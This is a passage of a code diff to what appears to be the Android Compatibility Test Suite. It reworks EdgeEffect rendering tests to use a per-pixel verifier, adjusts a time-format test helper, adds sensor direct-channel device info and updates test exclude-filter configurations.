if ((mDefaultLocale != null) && !Locale.getDefault().equals(mDefaultLocale)) {
Locale.setDefault(mDefaultLocale);
@@ -311,8 +312,19 @@
}
}
- private void setTimeFormat(String timeFormat) throws IOException {
- SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
- "settings put system " + Settings.System.TIME_12_24 + " " + timeFormat);
+ @NonNull
+ private String getTimeFormat() throws IOException {
+ return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "settings get system " + Settings.System.TIME_12_24).trim();
+ }
+
+ private void setTimeFormat(@NonNull String timeFormat) throws IOException {
+ if ("null".equals(timeFormat)) {
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "settings delete system " + Settings.System.TIME_12_24);
+ } else {
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "settings put system " + Settings.System.TIME_12_24 + " " + timeFormat);
+ }
}
}
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png
deleted file mode 100644
index 7ca4067..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_color.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png
deleted file mode 100644
index e315dfd..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_0.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png
deleted file mode 100644
index 5e719b2..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_displacement_1.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png
deleted file mode 100644
index 321250b..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_green.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png
deleted file mode 100644
index 6429808..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_red.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png b/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png
deleted file mode 100644
index d2af211..0000000
--- a/tests/tests/uirendering/res/drawable-nodpi/edge_effect_size.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
index a871f49..25abcbf 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -34,8 +34,7 @@
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
-import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
-import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
import android.uirendering.cts.testinfrastructure.MaterialActivity;
import android.uirendering.cts.util.BitmapAsserter;
import android.widget.EdgeEffect;
@@ -77,62 +76,76 @@
mBitmapAsserter.setUp(getActivity());
}
- private void assertEdgeEffect(EdgeEffectInitializer initializer, int goldenId) {
+ private static class EdgeEffectValidator extends PerPixelBitmapVerifier {
+ public int matchedColorCount;
+
+ private int mInverseColorMask;
+ private int mColorMask;
+
+ public EdgeEffectValidator(int drawColor) {
+ mColorMask = drawColor & 0x00FFFFFF;
+ mInverseColorMask = ~(drawColor & 0x00FFFFFF);
+ }
+
+ @Override
+ protected boolean verifyPixel(int x, int y, int observedColor) {
+ if ((observedColor & mColorMask) != 0) {
+ matchedColorCount++;
+ }
+ return (observedColor & mInverseColorMask) == 0xFF000000;
+ }
+ }
+
+ private void assertEdgeEffect(EdgeEffectInitializer initializer) {
Bitmap bitmap = Bitmap.createBitmap(WIDTH, HEIGHT, Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
- canvas.drawColor(Color.WHITE);
+ canvas.drawColor(Color.BLACK);
EdgeEffect edgeEffect = new EdgeEffect(getActivity());
edgeEffect.setSize(WIDTH, HEIGHT);
edgeEffect.setColor(Color.RED);
+ assertEquals(Color.RED, edgeEffect.getColor());
initializer.initialize(edgeEffect);
edgeEffect.draw(canvas);
- GoldenImageVerifier verifier = new GoldenImageVerifier(getActivity(), goldenId,
- new MSSIMComparer(0.99));
+ EdgeEffectValidator verifier = new EdgeEffectValidator(edgeEffect.getColor());
mBitmapAsserter.assertBitmapIsVerified(bitmap, verifier,
name.getMethodName(), "EdgeEffect doesn't match expected");
+ assertTrue(verifier.matchedColorCount > 0);
}
- //b/63010438
- @Suppress
@Test
public void testOnPull() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.onPull(1);
- }, R.drawable.edge_effect_red);
+ });
}
- //b/63010438
- @Suppress
@Test
public void testSetSize() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.setSize(70, 70);
edgeEffect.onPull(1);
- }, R.drawable.edge_effect_size);
+ });
}
- //b/63010438
- @Suppress
@Test
public void testSetColor() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.setColor(Color.GREEN);
+ assertEquals(Color.GREEN, edgeEffect.getColor());
edgeEffect.onPull(1);
- }, R.drawable.edge_effect_green);
+ });
}
- //b/63010438
- @Suppress
@Test
public void testOnPullWithDisplacement() {
assertEdgeEffect(edgeEffect -> {
edgeEffect.onPull(1, 0);
- }, R.drawable.edge_effect_displacement_0);
+ });
assertEdgeEffect(edgeEffect -> {
edgeEffect.onPull(1, 1);
- }, R.drawable.edge_effect_displacement_1);
+ });
}
@Test
diff --git a/tests/tests/view/res/layout/pointer_capture_layout.xml b/tests/tests/view/res/layout/pointer_capture_layout.xml
index 88399d2..232d31d 100644
--- a/tests/tests/view/res/layout/pointer_capture_layout.xml
+++ b/tests/tests/view/res/layout/pointer_capture_layout.xml
@@ -25,7 +25,7 @@
android:orientation="horizontal"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="20dp"
+ android:layout_margin="12dp"
android:gravity="center"
android:background="#eee">
@@ -33,23 +33,23 @@
android:id="@+id/inner"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="20dp"
+ android:layout_margin="12dp"
android:background="#ddd">
<android.view.cts.PointerCaptureView
android:id="@+id/target"
- android:layout_width="20dp"
- android:layout_height="20dp"
- android:layout_margin="20dp"
+ android:layout_width="12dp"
+ android:layout_height="12dp"
+ android:layout_margin="12dp"
android:background="#bbb"/>
</android.view.cts.PointerCaptureGroup>
<android.view.cts.PointerCaptureGroup
android:id="@+id/target2"
- android:layout_width="20dp"
- android:layout_height="20dp"
- android:layout_margin="40dp"
+ android:layout_width="12dp"
+ android:layout_height="12dp"
+ android:layout_margin="24dp"
android:background="#bbb"/>
</android.view.cts.PointerCaptureGroup>
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/SensorDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/SensorDeviceInfo.java
index 1d266f5..9d61dd8 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/SensorDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/SensorDeviceInfo.java
@@ -17,6 +17,7 @@
import android.content.Context;
import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
import android.hardware.SensorManager;
import android.os.Bundle;
@@ -25,6 +26,7 @@
import java.lang.Exception;
import java.util.Arrays;
+import java.util.ArrayList;
import java.util.List;
/**
@@ -52,6 +54,13 @@
private static final String IS_DYNAMIC_SENSOR = "is_dynamic_sensor";
private static final String IS_ADDITONAL_INFO_SUPPORTED =
"is_additional_info_supported";
+ private static final String HIGHEST_DIRECT_REPORT_RATE_LEVEL =
+ "highest_direct_report_rate_level";
+ private static final String SUPPORTED_DIRECT_CHANNEL_TYPE =
+ "supported_direct_channel_type";
+ private static final int[] CHANNEL_TYPES = new int[] {
+ SensorDirectChannel.TYPE_MEMORY_FILE,
+ SensorDirectChannel.TYPE_HARDWARE_BUFFER };
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -81,6 +90,17 @@
store.addResult(IS_DYNAMIC_SENSOR, sensor.isDynamicSensor());
store.addResult(IS_ADDITONAL_INFO_SUPPORTED,
sensor.isAdditionalInfoSupported());
+ store.addResult(HIGHEST_DIRECT_REPORT_RATE_LEVEL,
+ sensor.getHighestDirectReportRateLevel());
+
+ List<Integer> supportedChannelType = new ArrayList<>();
+ for (int channelType : CHANNEL_TYPES) {
+ if (sensor.isDirectChannelTypeSupported(channelType)) {
+ supportedChannelType.add(channelType);
+ }
+ }
+ store.addArrayResult(SUPPORTED_DIRECT_CHANNEL_TYPE,
+ supportedChannelType.stream().mapToInt(i->i).toArray());
store.endGroup();
}
store.endArray(); // Sensor
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 1b8db29..8c1bc88 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -167,6 +167,8 @@
<!-- b/63115400 -->
<option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.SELinuxHostTest#testAospFileContexts" />
+ <!-- b/64221494 -->
+ <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.SELinuxHostTest#testAospPropertyContexts" />
<!-- b/36686383 -->
<option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
@@ -233,12 +235,6 @@
<!-- b/38280830 -->
<option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
- <!-- b/63010438 -->
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testOnPullWithDisplacement" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testSetSize" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testOnPull" />
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.media.cts.android.uirendering.cts.testclasses.EdgeEffectTests#testSetColor" />
-
<!-- b/63566721 -->
<option name="compatibility:exclude-filter" value="CtsWrapWrapDebugTestCases android.wrap.cts.WrapTest" />
diff --git a/tools/cts-tradefed/res/config/cts-reference-aosp.xml b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
index ed74a4c..19e4f69 100644
--- a/tools/cts-tradefed/res/config/cts-reference-aosp.xml
+++ b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
@@ -31,8 +31,8 @@
<!-- Radio system of a reference AOSP system image is not checked -->
<option name="compatibility:exclude-filter" value="CtsTelephonyTestCases" />
<option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
- <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.PackageIncidentTest#testPackageServiceDump" />
<option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+ <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.PackageIncidentTest#testPackageServiceDump" />
<!-- Exclude telephony related testcases -->
<option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
@@ -54,6 +54,10 @@
<option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
<option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
+ <!-- Exclude not applicable testcases-->
+ <option name="compatibility:exclude-filter" value="CtsSignatureTestCases" />
+ <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.UsbDebuggingTest#testUsbDebugging" />
+
<!--
Exclude Webkit related testcases
TODO(jaekyun@): b/63600240, Webkit related testcases will be revived when the RRO packaging logic is revised so that we can selectively compose a RRO from overlays.
@@ -85,8 +89,11 @@
<option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
<option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
<option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
- <option name="compatibility:exclude-filter" value="CtsSignatureTestCases android.signature.cts.IntentTest#shouldNotFindUnexpectedIntents" />
<option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp8Other0Qual1920x1080" />
+ <!--
+ Exclude Verity tese cases, because we need to disable Verity to test with GSI
+ -->
+ <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testEcAttestation" />
+ <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testRsaAttestation" />
</configuration>
-
diff --git a/tools/vm-tests-tf/AndroidTest.xml b/tools/vm-tests-tf/AndroidTest.xml
index 7d53b00..72b3914 100644
--- a/tools/vm-tests-tf/AndroidTest.xml
+++ b/tools/vm-tests-tf/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS VM test cases">
<option name="config-descriptor:metadata" key="component" value="art" />
+ <option name="not-strict-shardable" value= "true" />
<target_preparer class="android.core.vm.targetprep.VmTestPreparer" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="android.core.vm-tests-tf.jar" />
